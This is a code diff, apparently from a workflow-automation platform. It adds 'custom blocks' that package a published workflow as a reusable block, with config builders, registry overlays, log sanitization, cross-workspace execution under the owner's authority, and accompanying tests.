expect(isCustomBlockType('custom_block_abc')).toBe(true) + expect(isCustomBlockType('agent')).toBe(false) + expect(isCustomBlockType(undefined)).toBe(false) + expect(isCustomBlockType(null)).toBe(false) + }) +}) + +describe('buildCustomBlockConfig', () => { + const fields: WorkflowInputField[] = [ + { name: 'title', type: 'string' }, + { name: 'count', type: 'number' }, + { name: 'flag', type: 'boolean' }, + { name: 'payload', type: 'object' }, + { name: 'items', type: 'array' }, + { name: 'docs', type: 'file[]' }, + ] + + it('carries the row identity and always wires the workflow_executor tool', () => { + const config = buildCustomBlockConfig(row, fields, { icon }) + expect(config.type).toBe('custom_block_abc123') + expect(config.name).toBe('Invoice Parser') + expect(config.category).toBe('tools') + expect(config.bgColor).toBe(CUSTOM_BLOCK_TILE_COLOR) + expect(config.hideFromToolbar).toBeUndefined() + expect(config.tools.access).toEqual(['workflow_executor']) + expect(config.tools.config?.tool({})).toBe('workflow_executor') + }) + + it('bakes the bound workflowId as a hidden sub-block', () => { + const config = buildCustomBlockConfig(row, fields, { icon }) + const wf = findSub(config, 'workflowId') + expect(wf?.hidden).toBe(true) + expect(wf?.value?.({})).toBe('wf-1') + }) + + it('maps each input field type to the right sub-block', () => { + const config = buildCustomBlockConfig(row, fields, { icon }) + expect(findSub(config, 'title')?.type).toBe('short-input') + expect(findSub(config, 'count')?.type).toBe('short-input') + expect(findSub(config, 'flag')?.type).toBe('switch') + expect(findSub(config, 'payload')?.type).toBe('code') + expect(findSub(config, 'payload')?.language).toBe('json') + expect(findSub(config, 'items')?.type).toBe('code') + expect(findSub(config, 'docs')?.type).toBe('file-upload') + expect(findSub(config, 'docs')?.multiple).toBe(true) + }) + + it('exposes the full result and hides plumbing when no outputs are curated', () => { + const config = buildCustomBlockConfig(row, fields, { icon }) + expect(Object.keys(config.outputs).sort()).toEqual(['error', 'result', 'success']) + expect(config.outputs.childWorkflowId).toBeUndefined() + expect(config.outputs.childTraceSpans).toBeUndefined() + }) + + it('exposes only curated outputs as named fields', () => { + const config = buildCustomBlockConfig( + { ...row, exposedOutputs: [{ blockId: 'b1', path: 'content', name: 'email' }] }, + fields, + { icon } + ) + expect(config.outputs.email).toEqual({ type: 'json', description: 'Output: content' }) + expect(config.outputs.result).toBeUndefined() + expect(config.outputs.success).toBeDefined() + expect(config.outputs.childWorkflowId).toBeUndefined() + }) + + it('anchors the sub-block on the stable field id, showing the name as title', () => { + const config = buildCustomBlockConfig(row, [{ id: 'fld-1', name: 'title', type: 'string' }], { + icon, + }) + const sub = findSub(config, 'fld-1') + expect(sub).toBeDefined() + expect(sub?.title).toBe('title') + expect(findSub(config, 'title')).toBeUndefined() + }) + + it('falls back to the field name as id when a field has no stable id', () => { + const config = buildCustomBlockConfig(row, [{ name: 'legacy', type: 'string' }], { icon }) + expect(findSub(config, 'legacy')?.title).toBe('legacy') + }) + + it('assembles inputMapping from non-reserved, non-empty params', () => { + const config = buildCustomBlockConfig(row, fields, { icon }) + const mappingFn = findSub(config, 'inputMapping')?.value + const json = mappingFn?.({ + workflowId: 'wf-1', + inputMapping: 'ignored', + triggerMode: true, + title: 'Acme', + count: 3, + empty: '', + }) + expect(JSON.parse(json as string)).toEqual({ title: 'Acme', count: 3 }) + }) +}) diff --git a/apps/sim/blocks/custom/build-config.ts b/apps/sim/blocks/custom/build-config.ts new file mode 100644 index 00000000000..9879838a375 --- /dev/null +++ b/apps/sim/blocks/custom/build-config.ts @@ -0,0 +1,168 @@ +import type { SubBlockType } from '@sim/workflow-types/blocks' +import type { WorkflowInputField } from '@/lib/workflows/input-format' +import type { BlockConfig, BlockIcon, SubBlockConfig } from '@/blocks/types' + +/** + * The block-type prefix that identifies a custom (deploy-as-block) block. Shared + * by the registry overlay, the executor handler dispatch, and access control. + */ +export const CUSTOM_BLOCK_TYPE_PREFIX = 'custom_block_' + +/** Whether a block type is a published custom block. */ +export function isCustomBlockType(type: string | undefined | null): boolean { + return typeof type === 'string' && type.startsWith(CUSTOM_BLOCK_TYPE_PREFIX) +} + +/** Tile background for custom-block icons (the uploaded image renders on top). */ +export const CUSTOM_BLOCK_TILE_COLOR = '#6F6F6F' + +/** A curated output exposed on the block, mapped from a child block output. */ +export interface CustomBlockOutput { + blockId: string + path: string + name: string +} + +/** + * The DB-backed identity + presentation of a custom block. `workflowId` is the + * bound source workflow whose LATEST deployment this block always executes. + */ +export interface CustomBlockRow { + type: string + name: string + description: string + workflowId: string + /** Curated exposed outputs; empty/absent exposes the child's whole `result`. */ + exposedOutputs?: CustomBlockOutput[] +} + +/** + * Params that carry the block's own wiring rather than a mapped Start input. + * Everything else on the block is collected into the child `inputMapping`. + */ +const RESERVED_PARAMS = new Set(['workflowId', 'inputMapping', 'triggerMode', 'advancedMode']) + +/** Map a Start input field type to the editor sub-block type used to collect it. */ +function subBlockTypeForField(fieldType: string): SubBlockType { + switch (fieldType) { + case 'boolean': + return 'switch' + case 'object': + case 'array': + return 'code' + case 'file[]': + return 'file-upload' + default: + return 'short-input' + } +} + +/** + * Synthesize a `BlockConfig` for a published custom block from its DB row and the + * live-derived Start input fields. Shared by the client (real icon + per-field + * editors) and the server (placeholder icon + `inputFields: []`, since the + * `inputMapping` wiring is schema-agnostic). + * + * Execution reuses the `workflow_executor` tool: the bound `workflowId` and the + * assembled `inputMapping` are hidden, baked sub-blocks; each Start input becomes + * its own editable sub-block whose value is collected into `inputMapping`. + * `` inside those values resolve at execution exactly like the + * `workflow_input` block. + * + * The sub-block id is the field's stable id (`field.id`), NOT its display name, so + * renaming a Start input in the source workflow and redeploying never orphans a + * consumer's placed value. The name is shown as the sub-block title and is what + * the child workflow ultimately receives — the id→name remap happens at execution + * in `WorkflowBlockHandler` against the loaded child's current field names. Legacy + * fields without an id fall back to keying on the name. + */ +export function buildCustomBlockConfig( + row: CustomBlockRow, + inputFields: WorkflowInputField[], + opts: { icon: BlockIcon; bgColor?: string } +): BlockConfig { + const fieldSubBlocks: SubBlockConfig[] = inputFields.map((field) => { + const type = subBlockTypeForField(field.type) + const sub: SubBlockConfig = { + id: field.id ?? field.name, + title: field.name, + type, + description: field.description, + } + if (field.type === 'object' || field.type === 'array') sub.language = 'json' + if (field.type === 'file[]') sub.multiple = true + return sub + }) + + return { + type: row.type, + name: row.name, + description: row.description, + category: 'tools', + longDescription: + 'A published workflow packaged as a reusable, self-contained block. Fill its input ' + + 'fields; it runs the underlying workflow and returns the outputs below. The bound ' + + 'workflow is baked in — no workflow id or input mapping to configure.', + bgColor: opts.bgColor ?? CUSTOM_BLOCK_TILE_COLOR, + icon: opts.icon, + subBlocks: [ + { + id: 'workflowId', + type: 'short-input', + hidden: true, + value: () => row.workflowId, + }, + { + id: 'inputMapping', + type: 'code', + language: 'json', + hidden: true, + value: (params) => { + const mapping: Record = {} + for (const [key, val] of Object.entries(params)) { + if (RESERVED_PARAMS.has(key)) continue + if (val === undefined || val === '') continue + mapping[key] = val + } + return JSON.stringify(mapping) + }, + }, + ...fieldSubBlocks, + ], + tools: { + access: ['workflow_executor'], + config: { + tool: () => 'workflow_executor', + params: (params) => ({ + workflowId: params.workflowId, + inputMapping: params.inputMapping, + }), + }, + }, + inputs: { + workflowId: { type: 'string', description: 'Bound source workflow id' }, + inputMapping: { type: 'json', description: 'Mapping of input fields to values' }, + }, + outputs: buildOutputs(row.exposedOutputs), + } +} + +/** + * The block's declared outputs. Internal plumbing (child workflow id/name, trace + * spans) is never exposed. With curated `exposedOutputs`, each becomes its own + * named output; otherwise the whole child `result` is exposed. + */ +function buildOutputs(exposed: CustomBlockOutput[] | undefined): BlockConfig['outputs'] { + const outputs: BlockConfig['outputs'] = { + success: { type: 'boolean', description: 'Execution success status' }, + error: { type: 'string', description: 'Error message' }, + } + if (exposed && exposed.length > 0) { + for (const out of exposed) { + outputs[out.name] = { type: 'json', description: `Output: ${out.path}` } + } + } else { + outputs.result = { type: 'json', description: 'Workflow execution result' } + } + return outputs +} diff --git a/apps/sim/blocks/custom/client-overlay.ts b/apps/sim/blocks/custom/client-overlay.ts new file mode 100644 index 00000000000..cc1bbff01e1 --- /dev/null +++ b/apps/sim/blocks/custom/client-overlay.ts @@ -0,0 +1,50 @@ +'use client' + +import { useSyncExternalStore } from 'react' +import { registerBlockOverlayResolver } from '@/blocks/custom/overlay' +import type { BlockConfig } from '@/blocks/types' + +/** + * Client-side custom-block overlay: a mutable Map, hydrated from + * `useCustomBlocks` by `CustomBlocksProvider`, that the `@/blocks/registry` + * accessors fall back to. Scoped to the active workspace's org; re-hydrated on + * workspace switch. + * + * Because many consumers snapshot `getAllBlocks()` (the cmd+K search, the Access + * Control block list), the overlay is also an external store: `version` bumps on + * every hydrate and listeners are notified, so those consumers can re-read via + * {@link useCustomBlockOverlayVersion} instead of going stale until a refresh. + */ +let map = new Map() +let version = 0 +const listeners = new Set<() => void>() + +registerBlockOverlayResolver({ + get: (type) => map.get(type), + all: () => [...map.values()], +}) + +/** Replace the in-scope custom blocks and notify subscribers. */ +export function hydrateClientCustomBlocks(configs: BlockConfig[]): void { + map = new Map(configs.map((config) => [config.type, config])) + version += 1 + for (const listener of listeners) listener() +} + +function subscribe(listener: () => void): () => void { + listeners.add(listener) + return () => listeners.delete(listener) +} + +/** + * Subscribe a component to overlay changes. Returns a monotonic version that + * changes on every hydrate — include it in a `useMemo`/`useEffect` dep list to + * recompute anything derived from `getAllBlocks()` when custom blocks load. + */ +export function useCustomBlockOverlayVersion(): number { + return useSyncExternalStore( + subscribe, + () => version, + () => 0 + ) +} diff --git a/apps/sim/blocks/custom/custom-block-icon.tsx b/apps/sim/blocks/custom/custom-block-icon.tsx new file mode 100644 index 00000000000..08722145fc7 --- /dev/null +++ b/apps/sim/blocks/custom/custom-block-icon.tsx @@ -0,0 +1,37 @@ +'use client' + +import { memo, type SVGProps } from 'react' +import { cn } from '@sim/emcn' +import { Box } from 'lucide-react' +import type { BlockIcon } from '@/blocks/types' + +/** + * Build a `BlockIcon` from an uploaded icon image URL. Rendered as an `` so + * any uploaded PNG/JPEG/SVG works; `className` (size) is forwarded like every + * other block icon. Cached by URL so the component reference stays stable across + * the many tiles/nodes that render a custom block. + */ +const cache = new Map() + +export function makeImageIcon(url: string): BlockIcon { + const cached = cache.get(url) + if (cached) return cached + + const ImageComponent = memo((props: SVGProps) => ( + + )) + // double-cast-allowed: an renderer must satisfy the SVG-typed BlockIcon slot + const Icon = ImageComponent as unknown as BlockIcon + + cache.set(url, Icon) + return Icon +} + +/** Fallback icon for custom blocks published without an uploaded image. */ +// double-cast-allowed: a lucide icon component fills the SVG-typed BlockIcon slot +export const DefaultCustomBlockIcon: BlockIcon = Box as unknown as BlockIcon + +/** Resolve a custom block's icon: the uploaded image when present, else a default glyph. */ +export function getCustomBlockIcon(iconUrl: string | null | undefined): BlockIcon { + return iconUrl ? makeImageIcon(iconUrl) : DefaultCustomBlockIcon +} diff --git a/apps/sim/blocks/custom/overlay.test.ts b/apps/sim/blocks/custom/overlay.test.ts new file mode 100644 index 00000000000..366e00cf1f5 --- /dev/null +++ b/apps/sim/blocks/custom/overlay.test.ts @@ -0,0 +1,41 @@ +/** + * @vitest-environment node + */ +import { afterEach, describe, expect, it } from 'vitest' +import { buildCustomBlockConfig } from '@/blocks/custom/build-config' +import { + overlayBlocks, + registerBlockOverlayResolver, + resolveOverlayBlock, +} from '@/blocks/custom/overlay' +import type { BlockIcon } from '@/blocks/types' + +const icon: BlockIcon = () => null as never + +const config = buildCustomBlockConfig( + { type: 'custom_block_xyz', name: 'X', description: '', workflowId: 'wf-9' }, + [], + { icon } +) + +afterEach(() => registerBlockOverlayResolver(null)) + +describe('block overlay resolver', () => { + it('returns undefined/empty with no resolver registered', () => { + expect(resolveOverlayBlock('custom_block_xyz')).toBeUndefined() + expect(overlayBlocks()).toEqual([]) + }) + + it('resolves through a registered resolver and clears on null', () => { + const map = new Map([[config.type, config]]) + registerBlockOverlayResolver({ get: (t) => map.get(t), all: () => [...map.values()] }) + + expect(resolveOverlayBlock('custom_block_xyz')).toBe(config) + expect(resolveOverlayBlock('nope')).toBeUndefined() + expect(overlayBlocks()).toEqual([config]) + + registerBlockOverlayResolver(null) + expect(resolveOverlayBlock('custom_block_xyz')).toBeUndefined() + expect(overlayBlocks()).toEqual([]) + }) +}) diff --git a/apps/sim/blocks/custom/overlay.ts b/apps/sim/blocks/custom/overlay.ts new file mode 100644 index 00000000000..64cd02a3c9a --- /dev/null +++ b/apps/sim/blocks/custom/overlay.ts @@ -0,0 +1,36 @@ +import type { BlockConfig } from '@/blocks/types' + +/** + * Resolver for dynamic (DB-driven) custom blocks that live outside the static + * `BLOCK_REGISTRY`. The four core accessors in `@/blocks/registry` fall back to + * the registered resolver so custom block types resolve everywhere without + * rewriting the many synchronous `getBlock` call sites. + * + * Two environment-specific resolvers register here: + * - client: a Map hydrated from `useCustomBlocks` (see `client-overlay.ts`) + * - server: an AsyncLocalStorage map scoped per request/org (see `server-overlay.ts`) + * + * This module is isomorphic (no `'use client'`, no `node:` imports) so + * `registry.ts` stays importable on both sides. + */ +export interface BlockOverlayResolver { + get(type: string): BlockConfig | undefined + all(): BlockConfig[] +} + +let resolver: BlockOverlayResolver | null = null + +/** Register (or clear with `null`) the active overlay resolver for this environment. */ +export function registerBlockOverlayResolver(next: BlockOverlayResolver | null): void { + resolver = next +} + +/** Resolve a single custom block config by type, or `undefined` when none applies. */ +export function resolveOverlayBlock(type: string): BlockConfig | undefined { + return resolver?.get(type) +} + +/** All custom block configs currently in scope (empty when no resolver is active). */ +export function overlayBlocks(): BlockConfig[] { + return resolver?.all() ?? [] +} diff --git a/apps/sim/blocks/custom/server-overlay.ts b/apps/sim/blocks/custom/server-overlay.ts new file mode 100644 index 00000000000..5b7b60b9495 --- /dev/null +++ b/apps/sim/blocks/custom/server-overlay.ts @@ -0,0 +1,50 @@ +import { AsyncLocalStorage } from 'node:async_hooks' +import type { WorkflowInputField } from '@/lib/workflows/input-format' +import { buildCustomBlockConfig, type CustomBlockRow } from '@/blocks/custom/build-config' +import { registerBlockOverlayResolver } from '@/blocks/custom/overlay' +import type { BlockConfig, BlockIcon } from '@/blocks/types' + +/** A row for the overlay, optionally carrying live-derived Start input fields. */ +type CustomBlockOverlayRow = CustomBlockRow & { inputFields?: WorkflowInputField[] } + +/** + * Server-side custom-block overlay. Resolves `custom_block_*` types during + * serialization + execution from a per-request, per-org map held in + * AsyncLocalStorage — keeping the `@/blocks/registry` accessors synchronous while + * isolating concurrent requests across different organizations. + */ + +/** Icon is never rendered server-side (the serializer ignores it). */ +const PLACEHOLDER_ICON: BlockIcon = () => null as never + +const store = new AsyncLocalStorage>() + +registerBlockOverlayResolver({ + get: (type) => store.getStore()?.get(type), + all: () => [...(store.getStore()?.values() ?? [])], +}) + +/** + * Run `fn` with the given org's custom blocks resolvable via `getBlock`/ + * `getAllBlocks`. Wrap every execution serializer entry point (execute route, + * trigger.dev task, scheduled/webhook runs) at the org-context boundary so a + * workflow containing a custom block can serialize and execute. + * + * Execution passes bare rows: `inputMapping` is schema-agnostic, so no per-field + * editors are needed. Agent-facing callers (`get_blocks_metadata`, `edit_workflow`) + * pass rows carrying `inputFields` so `getBlock` exposes the real input sub-blocks — + * matching what the VFS block files show — instead of an empty schema. + */ +export function withCustomBlockOverlay( + rows: CustomBlockOverlayRow[], + fn: () => Promise +): Promise { + const map = new Map() + for (const row of rows) { + map.set( + row.type, + buildCustomBlockConfig(row, row.inputFields ?? [], { icon: PLACEHOLDER_ICON }) + ) + } + return store.run(map, fn) +} diff --git a/apps/sim/blocks/registry.ts b/apps/sim/blocks/registry.ts index edab0c5df73..e7760a87974 100644 --- a/apps/sim/blocks/registry.ts +++ b/apps/sim/blocks/registry.ts @@ -1,4 +1,5 @@ import { stripVersionSuffix } from '@sim/utils/string' +import { overlayBlocks, resolveOverlayBlock } from '@/blocks/custom/overlay' import { BLOCK_META_REGISTRY, BLOCK_REGISTRY } from '@/blocks/registry-maps' import type { BlockCategory, @@ -16,14 +17,14 @@ function normalizeType(type: string): string { return type.replace(/-/g, '_') } -/** Get the block config for a single block type. */ +/** Get the block config for a single block type. Falls back to the custom-block overlay. */ export function getBlock(type: string): BlockConfig | undefined { - return BLOCK_REGISTRY[type] ?? BLOCK_REGISTRY[normalizeType(type)] + return BLOCK_REGISTRY[type] ?? BLOCK_REGISTRY[normalizeType(type)] ?? resolveOverlayBlock(type) } -/** All block configs. */ +/** All block configs, including any in-scope custom blocks from the overlay. */ export function getAllBlocks(): BlockConfig[] { - return Object.values(BLOCK_REGISTRY) + return [...Object.values(BLOCK_REGISTRY), ...overlayBlocks()] } /** Find the block whose `tools.access` contains the given tool id. */ @@ -81,7 +82,7 @@ export function getBlocksByCategory(category: BlockCategory): BlockConfig[] { * `hideFromToolbar: true`). */ export function getCanonicalBlocksByCategory(category: BlockCategory): BlockConfig[] { - return Object.values(BLOCK_REGISTRY).filter( + return [...Object.values(BLOCK_REGISTRY), ...overlayBlocks()].filter( (block) => block.category === category && !block.hideFromToolbar ) } @@ -93,7 +94,11 @@ export function getAllBlockTypes(): string[] { /** Whether the given string is a registered block type. Accepts hyphens as a dash-form alias. */ export function isValidBlockType(type: string): type is string { - return type in BLOCK_REGISTRY || normalizeType(type) in BLOCK_REGISTRY + return ( + type in BLOCK_REGISTRY || + normalizeType(type) in BLOCK_REGISTRY || + Boolean(resolveOverlayBlock(type)) + ) } /** diff --git a/apps/sim/ee/access-control/components/group-detail.tsx b/apps/sim/ee/access-control/components/group-detail.tsx index dc1513346b0..d5c2f61f8e6 100644 --- a/apps/sim/ee/access-control/components/group-detail.tsx +++ b/apps/sim/ee/access-control/components/group-detail.tsx @@ -40,6 +40,7 @@ import { SettingsPanel } from '@/app/workspace/[workspaceId]/settings/components import { SettingsSection } from '@/app/workspace/[workspaceId]/settings/components/settings-section/settings-section' import { useSettingsUnsavedGuard } from '@/app/workspace/[workspaceId]/settings/hooks/use-settings-unsaved-guard' import { getAllBlocks } from '@/blocks' +import { useCustomBlockOverlayVersion } from '@/blocks/custom/client-overlay' import type { BlockConfig } from '@/blocks/types' import { WorkspaceSelect } from '@/ee/access-control/components/workspace-select' import { @@ -615,6 +616,8 @@ export function GroupDetail({ const { data: roster } = useOrganizationRoster(organizationId) const { data: blacklistedProvidersData } = useBlacklistedProviders({ enabled: true }) + // Recompute when custom (deploy-as-block) blocks hydrate into the overlay. + const customBlockOverlayVersion = useCustomBlockOverlayVersion() const allBlocks = useMemo(() => { const blocks = getAllBlocks().filter((b) => !isBlockTypeAccessControlExempt(b.type)) return blocks.sort((a, b) => { @@ -624,7 +627,7 @@ export function GroupDetail({ if (catA !== catB) return catA - catB return a.name.localeCompare(b.name) }) - }, []) + }, [customBlockOverlayVersion]) const allProviderIds = useMemo(() => { const allIds = getAllProviderIds() diff --git a/apps/sim/executor/execution/block-executor.ts b/apps/sim/executor/execution/block-executor.ts index d8c4821df20..232b491e81c 100644 --- a/apps/sim/executor/execution/block-executor.ts +++ b/apps/sim/executor/execution/block-executor.ts @@ -10,6 +10,7 @@ import { hydrateUserFilesWithBase64, } from '@/lib/uploads/utils/user-file-base64.server' import { sanitizeInputFormat, sanitizeTools } from '@/lib/workflows/comparison/normalize' +import { isCustomBlockType } from '@/blocks/custom/build-config' import { validateBlockType } from '@/ee/access-control/utils/permission-check' import { BlockType, @@ -155,7 +156,7 @@ export class BlockExecutor { } if (blockLog) { - blockLog.input = this.sanitizeInputsForLog(inputsForLog) + blockLog.input = this.sanitizeInputsForLog(inputsForLog, block.metadata?.id) } } catch (error) { cleanupSelfReference?.() @@ -276,7 +277,7 @@ export class BlockExecutor { ctx, node, block, - this.sanitizeInputsForLog(inputsForLog), + this.sanitizeInputsForLog(inputsForLog, block.metadata?.id), displayOutput, duration, blockLog.startedAt, @@ -384,7 +385,7 @@ export class BlockExecutor { blockLog.durationMs = duration blockLog.success = false blockLog.error = errorMessage - blockLog.input = this.sanitizeInputsForLog(input) + blockLog.input = this.sanitizeInputsForLog(input, block.metadata?.id) blockLog.output = filterOutputForLog(block.metadata?.id || '', errorOutput, { block }) if (ChildWorkflowError.isChildWorkflowError(error) && error.childTraceSpans.length > 0) { @@ -411,7 +412,7 @@ export class BlockExecutor { ctx, node, block, - this.sanitizeInputsForLog(input), + this.sanitizeInputsForLog(input, block.metadata?.id), displayOutput, duration, blockLog.startedAt, @@ -533,7 +534,28 @@ export class BlockExecutor { * - Redacts sensitive fields (privateKey, password, tokens, etc.) * Returns a new object - does not mutate the original inputs. */ - private sanitizeInputsForLog(inputs: Record): Record { + private sanitizeInputsForLog( + inputs: Record, + blockType?: string + ): Record { + // Custom (deploy-as-block) blocks run via an internal `workflow_executor`; the + // baked `workflowId`/`inputMapping` wrapper is plumbing. Log the mapped input + // field values (the inputMapping contents) instead. + if (isCustomBlockType(blockType)) { + const mapping = inputs.inputMapping + const parsed = + typeof mapping === 'string' + ? (() => { + try { + return JSON.parse(mapping) + } catch { + return {} + } + })() + : mapping + inputs = parsed && typeof parsed === 'object' && !Array.isArray(parsed) ? parsed : {} + } + const result: Record = {} for (const [key, value] of Object.entries(inputs)) { diff --git a/apps/sim/executor/handlers/workflow/workflow-handler.ts b/apps/sim/executor/handlers/workflow/workflow-handler.ts index eea6b4a3004..ea989dcd6c6 100644 --- a/apps/sim/executor/handlers/workflow/workflow-handler.ts +++ b/apps/sim/executor/handlers/workflow/workflow-handler.ts @@ -1,10 +1,15 @@ import { createLogger } from '@sim/logger' import { getErrorMessage } from '@sim/utils/errors' import { generateId } from '@sim/utils/id' +import { getPersonalAndWorkspaceEnv } from '@/lib/environment/utils' import { buildNextCallChain, validateCallChain } from '@/lib/execution/call-chain' +import { calculateCostSummary } from '@/lib/logs/execution/logging-factory' import { snapshotService } from '@/lib/logs/execution/snapshot/service' import { buildTraceSpans } from '@/lib/logs/execution/trace-spans/trace-spans' import type { TraceSpan } from '@/lib/logs/types' +import { getCustomBlockAuthority } from '@/lib/workflows/custom-blocks/operations' +import { extractInputFieldsFromBlocks } from '@/lib/workflows/input-format' +import { type CustomBlockOutput, isCustomBlockType } from '@/blocks/custom/build-config' import type { BlockOutput } from '@/blocks/types' import { Executor } from '@/executor' import { BlockType, DEFAULTS, HTTP } from '@/executor/constants' @@ -26,6 +31,68 @@ import type { SerializedBlock } from '@/serializer/types' const logger = createLogger('WorkflowBlockHandler') +/** Read a dot-path (e.g. `content.text`) out of a block output object. */ +function getValueAtPath(source: unknown, path: string): unknown { + return path.split('.').reduce((acc, key) => { + if (acc && typeof acc === 'object') return (acc as Record)[key] + return undefined + }, source) +} + +/** + * Remap a custom block's resolved input mapping from source-field ids to the + * child workflow's current field names. The consumer's sub-block values are keyed + * by the stable field id (so renames don't cook them); the child is addressed by + * name. Legacy fields without an id are keyed by name and pass through unchanged. + * Keys that match no current field are dropped. + */ +function remapCustomBlockInputKeys( + mapping: Record, + childBlocks: Record +): Record { + const fields = extractInputFieldsFromBlocks(childBlocks) + const remapped: Record = {} + for (const field of fields) { + if (field.id && field.id in mapping) remapped[field.name] = mapping[field.id] + else if (field.name in mapping) remapped[field.name] = mapping[field.name] + } + return remapped +} + +/** + * Canonical hosted-key spend of a child run: the model/tool cost the way the + * parent bills it (recursing nested/iteration spans and de-duping model + * breakdowns), minus the base execution charge the parent applies once itself. + * A naive top-level `cost.total` sum undercounts when spend sits on nested children. + */ +function aggregateChildCost(childTraceSpans: TraceSpan[]): number { + if (childTraceSpans.length === 0) return 0 + const summary = calculateCostSummary(childTraceSpans) + return Math.max(0, summary.totalCost - summary.baseExecutionCharge) +} + +/** + * A single cost-only span so a FAILED custom block still bills the hosted-key spend + * its child already consumed (`block-executor` bills `error.childTraceSpans`), + * without exposing any of the source workflow's internal spans. Empty when free. + */ +function buildCostCarrierSpans(childCost: number, blockName: string, type: string): TraceSpan[] { + if (childCost <= 0) return [] + const now = new Date().toISOString() + return [ + { + id: generateId(), + name: blockName, + type, + duration: 0, + startTime: now, + endTime: now, + status: 'error', + cost: { total: childCost }, + }, + ] +} + type WorkflowTraceSpan = TraceSpan & { metadata?: Record children?: WorkflowTraceSpan[] @@ -41,7 +108,7 @@ export class WorkflowBlockHandler implements BlockHandler { canHandle(block: SerializedBlock): boolean { const id = block.metadata?.id - return id === BlockType.WORKFLOW || id === BlockType.WORKFLOW_INPUT + return id === BlockType.WORKFLOW || id === BlockType.WORKFLOW_INPUT || isCustomBlockType(id) } async execute( @@ -69,12 +136,35 @@ export class WorkflowBlockHandler implements BlockHandler { ): Promise { logger.info(`Executing workflow block: ${block.id}`) - const workflowId = inputs.workflowId + const blockTypeId = block.metadata?.id + const isCustomBlock = isCustomBlockType(blockTypeId) + + // Custom (deploy-as-block) blocks are an invocation boundary: resolve the bound + // workflow + authority from the DB (never trust the serialized value) and run the + // source workflow's LATEST deployment under its OWNER's authority — the same + // identity a normal deployed API/schedule/webhook run uses — so a cross-workspace + // consumer needs no permission on the source workflow. Owner deletion cascade- + // deletes the workflow → the custom_block row, so the block never orphans. + let workflowId = inputs.workflowId + let loadUserId = ctx.userId + let exposedOutputs: CustomBlockOutput[] = [] + if (isCustomBlock) { + const authority = await getCustomBlockAuthority(blockTypeId as string, ctx.workspaceId) + if (!authority) { + throw new Error('This custom block is no longer available') + } + workflowId = authority.workflowId + loadUserId = authority.ownerUserId + exposedOutputs = authority.exposedOutputs + } if (!workflowId) { throw new Error('No workflow selected for execution') } + // Always run the latest deployment for custom blocks, even from a draft-context parent run. + const useDeployed = isCustomBlock || ctx.isDeployedContext + let childWorkflowName = workflowId // Unique ID per invocation — used to correlate child block events with this specific @@ -92,8 +182,8 @@ export class WorkflowBlockHandler implements BlockHandler { let childWorkflowSnapshotId: string | undefined try { - if (ctx.isDeployedContext) { - const hasActiveDeployment = await this.checkChildDeployment(workflowId, ctx.userId) + if (useDeployed) { + const hasActiveDeployment = await this.checkChildDeployment(workflowId, loadUserId) if (!hasActiveDeployment) { throw new Error( `Child workflow is not deployed. Please deploy the workflow before invoking it.` @@ -101,15 +191,22 @@ export class WorkflowBlockHandler implements BlockHandler { } } - const childWorkflow = ctx.isDeployedContext - ? await this.loadChildWorkflowDeployed(workflowId, ctx.userId) + const childWorkflow = useDeployed + ? await this.loadChildWorkflowDeployed(workflowId, loadUserId) : await this.loadChildWorkflow(workflowId, ctx.userId) if (!childWorkflow) { throw new Error(`Child workflow ${workflowId} not found`) } - this.assertChildWorkflowInWorkspace(workflowId, childWorkflow.workspaceId, ctx.workspaceId) + // Custom blocks are org-scoped and deliberately cross-workspace: the source + // workflow lives in the publisher's workspace, not the consumer's. Their + // boundary is the org overlay + `getCustomBlockAuthority`, so the + // same-workspace assert (which guards regular workflow blocks) must be + // skipped or every custom-block invocation from another workspace throws. + if (!isCustomBlock) { + this.assertChildWorkflowInWorkspace(workflowId, childWorkflow.workspaceId, ctx.workspaceId) + } childWorkflowName = childWorkflow.name || 'Unknown Workflow' @@ -123,10 +220,20 @@ export class WorkflowBlockHandler implements BlockHandler { const normalized = parseJSON(inputs.inputMapping, inputs.inputMapping) if (normalized && typeof normalized === 'object' && !Array.isArray(normalized)) { + // Custom blocks key their mapping by the source field's stable id so a + // rename never orphans the consumer's value; remap id → current name + // before the child (which is addressed by name) receives it. + const remapped = isCustomBlock + ? remapCustomBlockInputKeys( + normalized as Record, + childWorkflow.rawBlocks || {} + ) + : (normalized as Record) + const cleanedMapping = await lazyCleanupInputMapping( ctx.workflowId || 'unknown', block.id, - normalized, + remapped, childWorkflow.rawBlocks || {} ) childWorkflowInput = cleanedMapping as Record @@ -168,17 +275,42 @@ export class WorkflowBlockHandler implements BlockHandler { ) } + // A custom block is an invocation boundary: the child runs under the SOURCE + // workflow owner's identity, workspace, and environment — not the consumer's — + // so it resolves credentials/integrations/env exactly as published and the + // consumer needs no access to any of them. (Billing still lands on the + // consumer's org, aggregated onto the block above.) Regular workflow blocks + // keep running in the parent's context. + let childUserId = ctx.userId + let childWorkspaceId = ctx.workspaceId + let childEnvVarValues = ctx.environmentVariables + if (isCustomBlock) { + if (!loadUserId) { + throw new Error('Custom block source workflow has no owner') + } + if (!childWorkflow.workspaceId) { + throw new Error('Custom block source workflow has no workspace') + } + childUserId = loadUserId + childWorkspaceId = childWorkflow.workspaceId + const ownerEnv = await getPersonalAndWorkspaceEnv(loadUserId, childWorkflow.workspaceId) + childEnvVarValues = { ...ownerEnv.personalDecrypted, ...ownerEnv.workspaceDecrypted } + } + const subExecutor = new Executor({ workflow: childWorkflow.serializedState, workflowInput: childWorkflowInput, - envVarValues: ctx.environmentVariables, + envVarValues: childEnvVarValues, workflowVariables: childWorkflow.variables || {}, contextExtensions: { isChildExecution: true, - isDeployedContext: ctx.isDeployedContext === true, + // Custom blocks always run the source's latest deployment, so the child + // context must be deployed too — otherwise its metadata treats the + // deployed graph as draft. `useDeployed` folds in the custom-block case. + isDeployedContext: useDeployed, enforceCredentialAccess: ctx.enforceCredentialAccess, - workspaceId: ctx.workspaceId, - userId: ctx.userId, + workspaceId: childWorkspaceId, + userId: childUserId, executionId: ctx.executionId, abortSignal: ctx.abortSignal, // Propagate in-flight block-output redaction into child workflows so @@ -223,10 +355,54 @@ export class WorkflowBlockHandler implements BlockHandler { childWorkflowSnapshotId ) + // Custom blocks expose only curated outputs — never the child workflow id, + // name, or trace spans. `mapChildOutputToParent` above still runs so failures + // surface identically; we just reshape the successful output. + if (isCustomBlock) { + // The child's spans are stripped for privacy, but they're the only carrier + // of the run's cost into billing — so roll their aggregate cost onto the + // block itself. Custom blocks are org-scoped, so this bills the same org the + // source workflow would bill if run directly, exactly as if it ran the key. + const childCost = aggregateChildCost(childTraceSpans) + return this.projectCustomBlockOutput(executionResult, exposedOutputs, childCost) + } + return 